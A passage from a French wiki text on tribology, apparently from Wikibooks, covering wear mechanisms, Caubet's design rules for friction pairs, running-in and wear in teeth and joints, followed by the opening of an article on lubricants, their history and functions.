branches industrielles comme la chimie, l'aéronautique, l'agriculture, les transports, etc. Depuis la création du prix, 34 personnes ont été récompensées, parmi lesquelles 6 Britanniques et 5 Russes. L'effet de non détérioration consiste en ce que, dans certaines circonstances, les frottements ne détruisent pas les surfaces mais au contraire contribuent à les protéger. Des ions de cuivre ou d'autres métaux plus nobles introduits dans les zones frottantes provoquent des réactions d'oxydoréduction aboutissant, au cours du processus de frottement lui-même, à la formation de films protecteurs contre l'usure. Cela peut être comparé à l'action des fluides très particuliers qui, dans les articulations humaines, protègent les surfaces osseuses pendant des dizaines d'années. Cet effet a été constaté il y a plus de 50 ans, lors de l'étude d'avaries à répétition dans des boîtes d'essieux d'avions de combat, au moment de l'atterrissage. La responsabilité du lubrifiant, trop agressif pour les pièces, fut vite démontrée. En changeant de lubrifiant, non seulement les avaries ont cessé mais l'effet de non détérioration a pu être mis en évidence. Il est curieux par ailleurs que cet effet ait pu, bien des années auparavant, protéger spontanément de l'usure des compresseurs frigorifiques : en effet, les tubes en cuivre des échangeurs laissent échapper des ions qui, transportés par le fluide frigorigène, finissent par créer une fine couche de cuivre sur les pièces frottantes. Avant la découverte de l'effet de non détérioration, on conseillait, à tort évidemment, d'éliminer cette couche à l'occasion d'un entretien ou d'une réparation. L'usure accentuée par l'hydrogène va, quant à elle, à l'encontre de l'effet de non détérioration. L'hydrogène atomique produit par les matériaux frottants ou par l'humidité dans les zones de contact forme des composés susceptibles de faire littéralement éclater les surfaces frottantes, dans lesquelles se forment des fissures. Il s'est très vite avéré que l'un des meilleurs remèdes à la pénétration de l'hydrogène était l'effet de non détérioration lui-même, car les couches de cuivre (ou d'autres métaux comme l'or) sont étanches et empêchent la diffusion de l'hydrogène. Ces effets étaient connus depuis un demi-siècle mais pas vraiment expliqués ; aujourd'hui on les étudie systématiquement et l'on trouve maintenant sur le marché de nombreux lubrifiants contenant des composés de cuivre, dont la nature même relève du savoir-faire industriel. Certains d'entre eux permettent même d'effectuer des réparations de surfaces endommagées sans même qu'il soit nécessaire de les démonter. Naturellement, même en utilisant le meilleur lubrifiant du monde, on n'est pas à l'abri d'une avarie mais dans tous les cas, l'effet de non détérioration permet de considérables augmentations de la durée de vie des mécanismes et contribue à réduire les gaspillages : moins de machines mises hors d'usage et moins de frottement. == Règles fondamentales == Ces règles ont été données par Jean-Jacques CAUBET dans son livre « Théorie et pratique industrielle du frottement ». # Eviter le contact des pièces en mouvement relatif tout en conditionnant leur surface pour résister à un contact accidentel, # Eviter le défoncement en profondeur par surpressions hertziennes, les fractures et écaillages par excès d'écrouissage, # Ventiler rationnellement les calories, # Eviter les accidents connexes tels que la corrosion, la cavitation, l'érosion, # Définir au bureau d'études les protocoles de rodage, # Imposer en fabrication les contrôles de métallurgie, géométrie, macro et microtopologie spécifiques du frottement, # Respecter l'homogénéité du projet : un bon couple de frottement doit durer exactement l'âge de la machine, toutes les pièces s'usant ou vieillissant ensemble. === Eviter le contact des pièces en mouvement relatif tout en conditionnant leur surface pour résister à un contact accidentel === Séparer les pièces par un lubrifiant en couche épaisse, un lubrifiant solide (le graphite est trop peu connu, le bisulfure de molybdène mal connu comme la panacée qu'il n'est pas), créer des plots de graisse, réaliser des rainures d'alimentation en huile, des facettes, des bassins relais, en évitant les « pattes d'araignée », particulièrement des rainures de réserve de lubrifiant pour les guidages plans hydrodynamiques, prévoir le démarrage onctueux. Choisir des métaux qui soient compatibles, ainsi éventuellement que leurs oxydes. Usiner avec ou sans couche de Beilby. Le polissage mécanique, qui la conserve, est acceptable avec des couples de matériaux présentant des risques de filiation cristalline (acier et fonte), sinon la superfinition ou le polissage électrolytique, qui l'enlèvent, peuvent être meilleurs (chrome et argent). Choisir la rugosité des pièces. La perfection des surfaces diminue les pressions, accélère le rodage, rend les films d'oxydes plus homogènes et plus solides, mais trop de poli nuit à l'alimentation des films lubrifiants. Les traits d'outils seront perpendiculaires au mouvement, sauf pour les corps convexes qui seront polis. Le brochage est bien meilleur que le tournage pour les portées courtes mais il ne faut jamais brocher ou mandriner un cylindre pour un déplacement axial. Polir au maximum les surfaces des tourillons et coussinets en régime hydrodynamique. Introduire dans l'acier un métalloïde ou un métal de transition : carbone, soufre, azote, phosphore, étain. Pour les structures de surface, éviter la ferrite et l'austénite, créer des contraintes résiduelles de compression, ne pas toiler les pièces ferritiques ou austénitiques qui retiennent les grains et deviennent ainsi abrasives, incliner les traits d'usinage par rapport à la direction du mouvement, cémenter, nitrurer ou sulfinuzer. === Eviter le défoncement en profondeur par surpressions hertziennes, les fractures et écaillages par excès d'écrouissage === Eviter à tout prix les surcharges et les appuis sur arête, donner du bombé aux pièces. Prévoir un couple de frottement, c'est avant tout fixer des tolérances, il faut donc étudier les déformations, les dilatations, ... Si un métal frotte sur lui-même à une température suffisamment faible pour ne pas relâcher l'écrouissage, c'est la surface la plus grande qui s'use le plus et le plus vite, la plus petite s'écrouit davantage et devient plus dure, en même temps le film adsorbé devient plus résistant. De même, un coussinet sulfinuzé n'offre qu'une sécurité médiocre tandis que la sulfinuzation de la portée de l'arbre est bien meilleure. La rigidité des surfaces est favorable en raison de l'augmentation de la solidité des films d'oxydes adsorbés et d'une moindre aptitude aux soudures froides, mais elle augmente les pressions hertziennes et la fatigue des couches profondes. Plutôt que de rechercher, face à une avarie, un matériau plus performant, il est souvent préférable de modifier les caractéristiques de la sollicitation. === Ventiler rationnellement les calories === La zone de frottement est toujours une source de chaleur. On appelle L est la conductivité thermique d'un matériau, c sa chaleur massique et d sa densité. Lorsque le frottement a lieu entre deux surfaces géométriquement et cinématiquement équivalentes, les calories se répartissent entre elles proportionnellement au facteur <math>\sqrt{L\,c\,d}</math>. Le corps pour lequel ce facteur est le plus grand facteur doit être le mieux ventilé. {| style="border:1px solid darkgray" cellpadding="3" cellspacing="4" align="center" |+ |- align=center bgcolor=#DDDDDD | Matériau || <math>\sqrt {L\,c\,d}</math> |- align=center | | <small>en unités CGS</small><br /><small>selon Caubet</small> |- | align=left |Cuivre || align=right | 0,89 |- | align=left | Aluminium || align=right | 0,61 |- | align=left | Alliage AlSi || align=right | 0,44 |- | align=left | Bronze || align=right | 0,35 |- | align=left | Fonte || align=right | 0,33 |- | align=left | Acier courant || align=right | 0,31 |- | align=left | Etain || align=right | 0,23 |- | align=left | Antifriction || align=right | 0,18 |- | align=left | Plomb || align=right | 0,18 |- | align=left | Graphite || align=right | 0,07 |} Une surface d'antifriction ou de graphite frottant sur de l'acier reçoit beaucoup moins de calories que ce dernier. Généralement la pièce sur laquelle la zone de frottement parcourt la plus grande distance est aussi la plus facile à ventiler (par exemple, un disque de frein). C'est elle qui doit recevoir le maximum de calories. Les échauffements anormaux peuvent être estimés par la coloration de l'acier : {| style="border:1px solid darkgray" cellpadding="3" cellspacing="4" align="center" |+ '''Coloration des aciers chauffés''' |- align=center bgcolor=#DDDDDD | colspan=2 | Couleur || Inox || Autres aciers |- align=right | bgcolor=#FFFF66 | &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | align=left | Jaune clair || || 215°C |- align=right | bgcolor=#FFFF00 | | align=left | Jaune paille || 280°C || 230°C |- align=right | bgcolor=#FF9900 | | align=left | Orangé || 320°C || 245°C |- align=right | bgcolor=#996600 | | align=left | Brun || 350°C || 255°C |- align=right | bgcolor=#993366 | | align=left | Gorge de pigeon || 400°C || 265°C |- align=right | bgcolor=#990033 | | align=left | Violet pourpre || 470°C || 275°C |- align=right | bgcolor=#6699FF | | align=left | Bleu clair || 510°C || 290°C |- align=right | bgcolor=#3300CC | | align=left | Bleu foncé || 550°C || 310°C |- align=right | bgcolor=#666633 | | align=left | Verdâtre || 640°C || 330°C |- align=right | bgcolor=#333333 | | align=left | Gris noir || 725°C || 400°C |} Une pièce de frottement fixe par rapport à la charge ne doit avoir aucun rôle d'alignement ou de précision, car elle se courbe sous l'effet de la dilatation différentielle. Il est essentiel de fixer la température du revenu avant rectification en fonction de l'échauffement prévu en marche. On doit éviter tout régime onctueux s'il y a le moindre risque d'élévation de température : l'échauffement favorise la désorption des couches adsorbées, il faut alors prévoir des couples de métaux totalement insolubles l'un dans l'autre. === Eviter les accidents connexes tels que la corrosion, la cavitation, l'érosion === Les remèdes ont été précisés aux différents chapitres. === Définir au bureau d'études les protocoles à respecter pour le rodage === Le rodage est l'ensemble des processus chimiques et métallurgiques qui améliorent l'ajustage, la topographie de surface et la compatibilité de frottement des organes d'une machine neuve. Dans le langage courant, le mot évoque les précautions à prendre lors des premières heures de fonctionnement. C'est en fait une première usure, d'abord très rapide puis ralentie, à conduire avec soin pour ne pas compromettre le fonctionnement ultérieur. Pendant les premiers instants, les plus délicats, il faut éliminer les aspérités prêtes à se détacher et améliorer la rugosité pour mieux répartir les charges. Un paradoxe est que les nouvelles structures engendrées dans les couches superficielles doivent protéger contre l'usure, de ce fait elles nuisent à l'abaissement de la rugosité, qui n'est autre qu'une usure ... L'amélioration des portées doit se faire par accomodement (déformation) plutôt que par émission de débris. Les surfaces parfaitement polies en vue de l'établissement d'un frottement hydrodynamique doivent être écrouies le plus vite possible. L'échauffement doit être surveillé : il facilite la répartition des contraintes par accomodement mais engendre un risque de grippage ou de collage épidermique. Il faut augmenter lentement les charges et les vitesses pour produire un accomodement par rotation des grains, préférable à l'écrouissage des grains eux-mêmes. Ne pas introduire de contraintes résiduelles par labourage juste après les avoir éliminées ! Les traitements de surface peuvent beaucoup faciliter les choses. Sur une surface non traitée, en cours de rodage. Le métal flue de part et d'autre des aspérités, en formant des bourrelets qui vont être éliminés en cours de fonctionnement. La période de rodage sera dangereuse à franchir et le fonctionnement ultérieur peu sûr. Au contraire, une pièce protégée par une couche à la fois dure et ductile fluera en profondeur sans notable émission de particules d'usure. Le rodage se passera bien et renforcera la surface dont le comportement ultérieur sera amélioré. L'amélioration de la géométrie se fait avant la disparition totale des stries d'usinage. '''La somme arithmétique des rugosités des deux pièces doit être supérieure à celle des tolérances de forme, sinon le rodage n'a jamais de fin'''. Les abrasifs doivent être proscrits, sauf pour roder ou polir des pièces très dures sans ferrite ni austénite, ou pour des pièces dont le traitement ultérieur, par exemple une sulfinuzation, détachera ou enrobera les fragments abrasifs incrustés. Les pressions doivent se répartir sur des surfaces suffisantes, qui justement croissent lors du rodage. Les débris amorphes bourrent le fond des sillons et y contribuent, mais ils sont très grossiers en cas d'augmentation trop rapide des charges et dans ce cas ils favorisent l'usure. Les lubrifiants dont la viscosité croît avec la pression, comme les dérivés pétroliers, répartissent mieux les charges. Il faut un lubrifiant propre et abondamment renouvelé, éventuellement avec un dope approprié. Une bonne pâte à roder comporte : * un support : graisse ou autre lubrifiant tiré du pétrole, * un abrasif léger : le soufre, que les Anciens utilisaient déjà pour les paliers chauffant trop en période de rodage, est abrasif à basse vitesse seulement mais devient actif par légère agressivité chimique si la température éclair augmente. * un élément consommable : acide gras ou autre, qui se combine chimiquement aux particules émises par rodage. '''Lorsque la pièce est destinée à un frottement sous fortes charges, elle doit être soumise en fin de rodage à des efforts de surface plus importants que ceux qui la solliciteront ensuite, pour augmenter l'épaisseur de la couche écrouie. La vitesse doit en revanche rester inférieure aux vitesses normales prévues ultérieurement.''' Beaucoup d'expériences et d'études ont permis de préciser les paramètres du rodage et de l'usure douce des mécanismes durant leur vie utile. L'évolution des surfaces peut être décrite à l'aide de la courbe de portance d'Abbott-Firestone qui représente en pourcentage la surface de portance en fonction de la profondeur atteinte par l'usure. Si l'usure est douce on doit atteindre 100 % de portance lorsque toutes les stries d'usinage ont été éliminées. Si l'usure est sévère l'état de surface ne s'améliore pas. L'évolution dépend de la forme des aspérités. === Imposer en fabrication les contrôles de métallurgie, géométrie, macro et microtopologie spécifiques du frottement === Voici quelques exemples cités par CAUBET : * Des compresseurs frigorifiques grippent après un changement de fournisseur imposé par le service achats : la teneur en ferrite de la fonte n'avait pas été contrôlée. * Des paliers lisses de poupées de tour grippant à la suite d'une augmentation de la teneur en phosphore du bronze, avec des arbres devenus insuffisamment durs. * Des cylindres de compresseurs en AU5GT recevaient, imprudemment, des pistons en fonte. Le grippage fit suite au changement des outils en carbure pour d'autres en acier rapide dans l'usinage des cylindres. En frottement il faut proscrire les surfaces décarburées, la perlite trop grossière (à régénérer), l'excès d'austénite et de cémentite, les files d'inclusions qui amorcent les tapures de trempe, l'austénite résiduelle et les inclusions de sulfure de manganèse, les défauts d'adhérence de couches déposées, les structures fragiles de Widmanstatten ... Un protocole de fabrication qui donne satisfaction doit être codifié et il ne faut alors le changer, même légèrement, qu'avec la plus grande prudence. === Respecter l'homogénéité du projet : un bon couple de frottement doit durer exactement l'âge de la machine, et toutes les pièces s'user ou vieillir ensemble === L'usure doit être prise en compte dès le début d'un projet. Il faut prévoir des durées de vie (moteurs, roulements ...), des épaisseurs consommables (20 mm sur les jantes des roues du matériel ferroviaire) ... L'ensemble des formes de vieillissement doivent mener simultanément le mécanisme à sa fin. == Compléments == La tendance actuelle est de s'éloigner de considérations statistiques vers une analyse des champs de contraintes et des déplacements au niveau des aspérités. Les surfaces diffèrent des volumes tant par la composition que par les propriétés mécaniques. Elles forment des écrans pour les forces d'adhérence entre les solides, c'est pourquoi deux pièces peuvent être mises en contact sans coller. Ces écrans peuvent être détruits par le frottement, et se reformer par réaction avec l'environnement. Le passage du frottement à deux corps au frottement à trois corps est très rapide, une séparation des deux premiers corps par le troisième peut survenir après quelques passages seulement. Pour prendre un exemple, en faisant frotter une gomme sur une règle transparente, on observe les diverses phases : * au début, si la règle et la gomme sont propres, le glissement est assez difficile à obtenir, * très vite, on assiste à la formation et au détachement de particules provenant des volumes en contact ou premiers corps, * ces particules ou troisièmes corps ce déplacent dans le contact, ce qui assure tout ou partie de la portance, le glissement devient plus facile, * les particules peuvent être éliminées du contact avec formation d'une trace, * ou encore, on observe la recirculation de ces particules au cours d'un nouveau passage ou leur élimination des zones frottantes par éjection. Les troisièmes corps ne sont pas du tout homogènes. Leur élimination des contacts constitue l'usure proprement dite. '''On peut dire en conclusion qu'un bon matériau de frottement sacrifie sa surface pour sauvegarder son volume'''. == L'usure et le monde vivant == Comme dans le cas des machines, l'usure révèle des facettes diverses et parfois inattendues. === Usure dentaire === Les dents des hommes et de la plupart des animaux s'usent naturellement par abrasion à trois corps. Ce processus était anormalement rapide parmi les populations qui consommaient beaucoup d'aliments à base de céréales moulues par des meules en pierre. L'examen des dents et de leurs rayures permet d'ailleurs aux archéologues de se faire une idée du régime alimentaire des individus étudiés. Dans le cas des rongeurs, dont les dents poussent de manière continue comme si elles étaient extrudées, l'usure est à la fois inévitable en raison du régime alimentaire naturellement riche en matériaux abrasifs et nécessaire car elle permet aux incisives de conserver leur « affûtage ». En cas d'usure insuffisante, ces animaux doivent passer de longues heures à frotter leurs dents les unes contre les autres. Parfois, les éleveurs de lapins doivent intervenir pour couper les dents exagérément développées, par exemple celles qui font face à une dent cassée. D'autres dégradations peuvent apparaître, en particulier sous l'effet de facteurs chimiques ou bactériens. Comme pour les machines, certaines formes d'usure s'excluent mutuellement, c'est ainsi que l'on ne trouve jamais de carie dans les zones qui subissent l'abrasion et réciproquement. ==== Érosion amélaire et « développement économique » ==== L'érosion amélaire, qui détruit l’émail des dents, est en nette progression dans la plupart des pays développés. On estime que 20 % des Français en présentent les signes et la situation est sans doute beaucoup plus grave car cette estimation ne concerne que les patients qui se font soigner régulièrement ! Les dents atteintes par l'usure amélaire jaunissent et présentent souvent de petites craquelures à leur base. Des élancements ponctuels et une certaine gène peuvent apparaître, en particulier au moment du brossage, lorsque le phénomène atteint un stade déjà avancé. L’usure peut être classée en trois niveaux selon l’exposition de la dentine, 1/3 pour une usure faible, 2/3 pour une usure modérée etr davantage pour une usure prononcée. Dans ce dernier cas, la dent perd également de la hauteur, mais cette perte croît aussi avec l’âge du patient qui doit être pris en compte dans l'évaluation. Le vieillissement de la population et surtout les changements dans nos habitudes alimentaires sont les principales causes de l'usure amélaire. Les sodas, généralement très acides, sont les pires ennemis de l'émail dentaire, surtout s'ils sont bus trop lentement et gardés dans la bouche. Chez les sportifs de haut niveau, on constate les effets désastreux des boissons « énergétiques » et de l'eau chlorée des piscines. Pour éviter l'usure amélaire, il faut consommer sans excès et sans les conserver longtemps en bouche les aliments acides tels que les agrumes, les jus de fruits, les sodas, les condiments vinaigrés, les tomates, les asperges, les artichauts, les choux de Bruxelles, etc. Les effets négatifs du grignotage ont également été mis en évidence. La salive joue normalement un rôle protecteur en reminéralisant l'émail amolli par les aliments acides. Il faut lui laisser le temps d'agir et ne pas se brosser les dents immédiatement après la consommation de tels aliments. La consommation de lait et de fromages, qui contiennent du calcium, contribue à une bonne protection. ==== Le bruxisme ==== Cette pathologie, qui touche environ 6 % de la population, est un comportement pathologique attribué au stress, à l'anxiété en période d'examens ou à une activité débordante. Pendant leur sommeil, les personnes atteintes serrent fortement les dents, de façon inconsciente, en accompagnant ou non ce serrage de mouvements simulant plus ou moins la mastication. * En l'absence de mouvement, le bruxisme est dit « centré », il peut entraîner des douleurs musculaires ou des crampes. * Le bruxisme avec mouvement est dit « excentré », il s'accompagne généralement de grincements de dents ou de bruits plus étranges, voire inquiétants. La Bible, paraît-il, en fait état. Le dormeur ne se réveille pas mais en revanche il peut incommoder son entourage. Sous l'effet des contraintes intenses auxquelles elles sont soumises, les dents se fendillent et subissent une usure rapide. Le port d'une gouttière en résine empêchant le contact des dents peut être une solution efficace. ==== Usure et matériaux d'apport ==== Les matériaux de réparation et les matériaux cosmétiques utilisés en art dentaire devraient, en toute logique, s'user au même rythme que les dents naturelles. Cette condition était à peu près réalisée avec l'or utilisé (de plus en plus rarement !) pour fabriquer des couronnes, mais elle ne l'est plus guère avec l'acier inoxydable ou les céramiques. En tout état de cause il vaut mieux que ce soit le matériau rapporté qui s'use, plutôt que le matériau naturel, mais c'est loin d'être toujours le cas. === Arthrose === La plus commune des affections articulaires touche plus de 30% des 45-65 ans. Peu douloureuse au début, elle s'accompagne à un stade avancé de vives douleurs et rares sont ceux qui ne connaissent pas, dans leur entourage, des personnes qui en sont frappées. L'arthrose s'attaque aux cartilages des articulations, c'est-à-dire à un tissu vivant, élastique, démuni de vaisseaux sanguins mais poreux, qui constitue le « revêtement de surface » des os formant la charpente du corps de l'homme et des animaux vertébrés. La défaillance des cellules du cartilage, appelées ''chondrocytes'', s'accompagne de la production excessive des ''métallo-protéases'', enzymes destructrices qui normalement participent au renouvellement de ce matériau très particulier. La disparition localisée du cartilage met les os à nu et ceux-ci s'usent à leur tour par suite des frottements répétés. C'est à ce moment-là que la douleur s'installe. L'organisme réagit mais il le fait de façon anarchique, des formations osseuses « bourgeonnent » en périphérie des articulations et deviennent des excroissances appelées ''ostéophytes''. C'est ainsi qu'apparaissent, entre autres, les ''becs de perroquet'' sur la colonne vertébrale. De nombreux facteurs prédisposent à l'arthrose ou favorisent son apparition. On estime qu'environ la moitié des cas relèvent d'une origine héréditaire, d'autres sont dus à l'obésité, à certaines activités professionnelles ou sportives entraînant la répétition de gestes identiques, sous forte charge et pendant de longues périodes. Des causes accidentelles, liées à des traumatismes articulaires ou à des fractures mal réduites, peuvent également amorcé ou favoriser le phénomène. Dans beaucoup de cas, le handicap provoqué par la maladie impose le recours à un traitement chirurgical : * l<nowiki>'</nowiki>'''arthrodèse''' est l'immobilisation forcée et généralement définitive d'une articulation. On utilise des plaques, des tiges ou des agrafes en fonction des possibilités ou les greffes osseuses pour les articulations les plus délicates, comme celles des vertèbres. * l'implantation d'une '''prothèse''' est devenue relativement courante pour les hanches, qui mécaniquement ne sont que de simples rotules. On la pratique aussi pour les genoux, les coudes, les chevilles ou les doigts, mais ce sont là des liaisons mécaniques bien plus compliquées et qui posent des problèmes de divers ordres. L'arthrodèse est une opération plus simple, plus brève et moins risquée que la pose d'une prothèse, elle évite les risques de descellement et on la propose lorsque l'immobilisation n'est pas trop invalidante, par exemple dans le cas des vertèbres, des poignets ou de la cheville. ==== Problématique des prothèses ==== Naturellement, les prothèses peuvent être considérées comme des composants mécaniques, un peu particuliers en raison de leur implantation, mais qui se comportent comme tous les autres face aux diverses formes d'usure. Les matériaux utilisables ne sont pas légion, en raison de la nécessaire compatibilité biologique avec le corps humain. Les principaux sont : * parmi les métaux, les alliages de chrome-cobalt et le titane, qui jouit de propriétés de biocompatibilité très intéressantes. * et parmi les matériaux non métalliques, certaines céramiques, les composites carbone-carbone et le polyéthylène haute densité. Le « lubrifiant » est très particulier puisqu'à la base il s'agit d'eau salée additionnée d'innombrables composés chimiques d'origine biologique. De plus, il n'est pas question de procéder à une vidange périodique comme avec n'importe quel moteur automobile. En l'absence de fonctionnement en circuit fermé, la nécessaire évacuation des débris d'usure est partiellement réalisée par la lymphe qui les transporte vers les filtres que constituent les ganglions lymphatiques. Ces derniers, d'ailleurs, finissent parfois par noircir chez les patients munis de prothèses en composite carbone-carbone. Voir aussi le paragraphe sur les [[Tribologie_-_Applications_pratiques#Prothèses_articulaires|prothèses articulaires]] dans le chapitre consacré aux applications de la tribologie. '''(à suivre)''' Tribologie - Lubrifiants 984 42895 2006-05-20T18:10:21Z Jean-Jacques MILAN 114 /* Incompatibilités et lubrifiants spéciaux */ [[Catégorie:Tribologie]] [[Catégorie:Lubrifiant]] {{Tribologie}} == Un peu d'histoire == Dès l'[[w:Antiquité|Antiquité]], l'homme a utilisé des corps lubrifiants d'origine animale ou végétale pour résoudre divers problèmes de frottement et de glissement. Un bas-relief égyptien représente un homme versant de l'huile sur des planches afin de faciliter le glissement d'un traîneau chargé de pierres. Un chariot à roues retrouvé dans une tombe égyptienne, daté de 1400 avant J.-C., portait encore des traces du suif utilisé pour graisser les moyeux. Un ouvrage de [[w:Pline l'Ancien|Pline l'Ancien]] est d'ailleurs consacré aux lubrifiants et l'on a retrouvé les vestiges de deux [[w:savon|savon]]neries à [[w:Pompéi|Pompéi]]. À quelques exceptions près comme l'huile de ricin, les produits de l'époque étaient de médiocre qualité et vite dégradés. C'est probablement le développement des moyens de transport qui posa les premiers véritables problèmes de lubrification. Les produits pétroliers étaient eux aussi connus : les Égyptiens se servaient d'[[w:asphalte|asphalte]] pour embaumer leurs morts. Les bateliers d'[[w:Irak|Irak]] utilisent depuis des temps immémoriaux les [[w:bitume|bitume]]s pour calfater leurs embarcations. C'est en [[w:Chine|Chine]] que l'on a retrouvé les premières lampes à pétrole. En [[w:1627|1627]], une [[w:lettre patente|lettre patente]] autorisa l'exploitation commerciale à [[w:Pechelbronn|Pechelbronn]], en [[w:Alsace|Alsace]], d'une source qui produisait une « huile de pierre » réputée pour ses propriétés thérapeutiques. En [[w:1741|1741]] fut constituée la première société pétrolière de l'histoire, pour exploiter à côté de la source une veine de sable bitumineux dont on tirait une graisse apte à remplacer le « vieux oing » et le suif. Le roi [[w:Louis XV|Louis XV]], conscient de l'intérêt de cette exploitation, la confia par lettre patente du [[w:5 août|5 août]] [[w:1772|1772]] à un certain Le Bel. De cette époque date l'origine de la société ANTAR, créée en 1927. Dès le début de la [[w:Révolution industrielle|Révolution industrielle]] et plus particulièrement à cause de la généralisation des [[w:machines à vapeur|machines à vapeur]], la fabrication des lubrifiants prit de l'importance et quitta le stade artisanal. Plusieurs sociétés européennes spécialisées dans ce domaine ont d'ailleurs fêté récemment leur bicentenaire. C'est la découverte et l'exploitation des champs pétroliers qui permit de disposer de bases minérales abondantes et bon marché. L'industrie du raffinage n'est pas née, comme on le croit généralement, de la fabrication de carburants, [[w:essence|essence]], [[w:gazole|gazole]] et [[w:fioul|fioul]]s, mais de la production de [[w:kérosène|kérosène]] pour les lampes à pétrole et de lubrifiants. Le premier, supplanté par le gaz puis par l'électricité, a pris sa revanche comme carburant pour les turboréacteurs des avions. Les seconds ont connu une expansion jamais démentie depuis ... En [[w:1855|1855]] le chimiste américain B. Silliman, reprenant des travaux antérieurs, retrouva un certain nombre de produits naturels par distillation du pétrole : goudrons, lubrifiants, naphta, solvants pour les peintures ainsi que l'essence qui, considérée à l'époque comme produit mineur, était utilisée comme détachant. En [[w:1857|1857]], la ville de [[w:Bucarest|Bucarest]] était éclairée au pétrole. Aujourd'hui, les chimistes savent améliorer les lubrifiants naturels par toutes sortes d'additifs ou « dopes » et aussi fabriquer toute une gamme de produits synthétiques. L'industrie des lubrifiants participe largement aux progrès de la construction mécanique depuis plusieurs dizaines d'années. '''La France consomme chaque année environ un million de tonnes de lubrifiants dont la moitié pour les moteurs'''. Plusieurs centaines de sociétés ont leur activité principale dans ce domaine. Quelques unes sont très importantes et très connues mais la plupart des autres, plus discrètes et ignorées du grand public, disposent d'un remarquable savoir faire dans leur spécialité. La concentration industrielle est du reste très lente dans ce secteur. == Évolutions récentes == Les cinquante dernières années ont marqué un tournant important dans le domaine de la lubrification et des produits lubrifiants. Les charges et les vitesses des machines ont énormément augmenté et la manière de les lubrifier a beaucoup changé. * Les broches des machines-outils, qui ne dépassaient guère des vitesses de rotation de quelques milliers de tours par minute, tournent aujourd'hui couramment dix fois plus vite. * Les broches de certaines machines destinées à l'industrie textile atteignent parfois 600 000, voire 1 000 000 tours/min ! * Les turbines de centrales électriques, qui ne dépassaient guère 250 MW dans les années 60, dépassent aujourd'hui couramment 1 GW. * Dans le domaine de l'automobile, les multiples points de graissage qu'il fallait périodiquement alimenter ont discrètement disparu, cette révolution a commencé en France avec la Renault 4 L. Les joints de transmission, les roulements de roues, les pivots de suspension et bien d'autres éléments sont désormais graissés à vie. * Le développement des techniques nucléaires et de l'industrie aérospatiale ont fait apparaître des problèmes radicalement nouveaux pour lesquels il a bien fallu trouver des solutions. * Les évolutions et les découvertes réalisées dans les domaines dits « de pointe » se sont vulgarisées ; par exemple, les lubrifiants synthétiques réservés voici quelques décennies à la compétition automobile sont aujourd'hui entrés dans la pratique quotidienne. * D'autres découvertes apportent des solutions inattendues à des problèmes anciens, comme les fluides magnétiques inventés au début des années 1950 par Jacob Rabinov et qui permettent de modifier la viscosité par application d'un champ magnétique. == Fonctions des lubrifiants == Elles sont multiples : * diminuer les frottements et les résistances passives dans les machines, améliorer leur [[w:rendement|rendement]] et économiser l'énergie, * protéger les organes lubrifiés contre les diverses formes de [[w:corrosion|corrosion]] et d'usure, donc contribuer à leur longévité, * évacuer la [[w:chaleur|chaleur]] produite dans les [[w:moteur|moteur]]s ou lors de l'[[w:usinage|usinage]], favoriser l'équilibre thermique des machines, * améliorer l'étanchéité vis-à-vis des gaz, des liquides ou des poussières, * éliminer les impuretés et les débris d'usure, * transmettre de l'énergie ou de la chaleur, * assurer l'isolation électrique, * améliorer l'état de surface des pièces usinées, * ... == Choix d'un lubrifiant == C'est une question très complexe et l'on peut dire qu'à chaque sorte de contact mécanique correspond une composition de lubrifiant optimale (ou moins mauvaise que les autres ...) et une façon de la mettre en œuvre. À la limite, s'il existe dans une machine 50 sortes de contacts différents, il faudrait idéalement utiliser 50 lubrifiants différents, et l'on devine facilement l'étendue des problèmes pratiques que cela peut poser. Il serait vain et prématuré de dresser ici une liste des paramètres qui doivent être pris en considération, car il en existe des '''centaines'''. On trouvera des exemples dans l'article détaillé consacré aux [[Tribologie - Applications pratiques|applications de la tribologie]]. On ne lubrifie pas dans les mêmes conditions les organes d'une machine produite en très grande série, comme une automobile, et les roulements spéciaux d'une installation industrielle très spécifique, par exemple ceux des rouleaux sécheurs d'une grosse machine pour la fabrication du papier (8 m de long, 1 m de diamètre, vitesse périphérique 40 km/h, chauffage interne par de la vapeur d'eau, poids de l'ordre de 5 t,...). Dans le premier cas, on fera nécessairement appel à des lubrifiants disponibles dans le commerce, dans le second, on n'hésitera pas à créer une formule très spécifique ... et il est évident que le coût de l'opération n'est pas exactement celui d'une simple vidange). Le nombre des lubrifiants dans une automobile est beaucoup plus élevé qu'il n'y paraît généralement. L'huile destinée au moteur doit être changée périodiquement, car en dépit de tous les progrès de la chimie, on ne sait pas lui donner la même durée de vie que le moteur. Les huiles destinées à la boîte de vitesses et le cas échéant au pont arrière sont renouvelées beaucoup moins souvent et la tendance actuelle est de lubrifier ces deux éléments « à vie ». Les roulements des roues sont graissés à vie depuis quelques dizaines d'années, de même que ceux des multiples moteurs utilisés pour les essuie-glaces, les ventilateurs, les lève-vitres, etc., et généralement ils le sont avec des graisses différentes. D'autres produits lubrifiants très spécialisés peuvent être rencontrés dans les compresseurs des systèmes de climatisation. En dressant l'inventaire, on arriverait facilement à plusieurs dizaines de produits, mais l'automobiliste lambda ne s'en aperçoit pas, si ce n'est pour la vidange du moteur. Si l'on raisonne sur un organe particulier, par exemple la boîte de vitesses, on peut conclure qu'il existe un lubrifiant idéal pour chacun des engrenages qui fournissent les différents rapports de vitesses ; ces lubrifiants, selon toute vraisemblance, ne seront pas les meilleurs pour chacun des roulements qui guident les arbres. Evidemment il n'est pas question d'utiliser dix huiles différentes dans une même boîte de vitesses, et c'est la démarche inverse qui s'impose : après que l'on a choisi un des lubrifiants pour boîtes de vitesses disponibles dans le commerce, il faut concevoir les différents engrenages, roulements (pas toujours standard !) et autres composants mobiles pour qu'ils puissent accomplir correctement leur service dans le lubrifiant imposé. Certains constructeurs automobiles ont été plus loin : sur quelques modèles de leur gamme, ils ont créé des ensembles moteur-boîte-pont lubrifiés avec une seule huile. Celle-ci devenait alors, en quelque sorte, le fil directeur du projet. On peut remarquer que cette solution n'a pas été généralisée, vraisemblablement parce qu'elle posait en fin de compte plus de problèmes qu'elle n'en résolvait. Dans ce domaine comme en beaucoup d'autres, le choix correct d'un lubrifiant suppose que l'on ait convenablement analysé le problème à résoudre et que l'on connaisse les propriétés des produits disponibles et leurs modes d'action. C'est ce que nous allons nous efforcer de faire dans la suite de cet exposé. == Notions fondamentales == Un lubrifiant est un produit qui satisfait à trois conditions fondamentales : * un film doit pouvoir être formé à la surface des pièces, * le film formé doit être maintenu au contact, * le film formé et maintenu doit se déformer facilement, sans se rompre, par cisaillement. 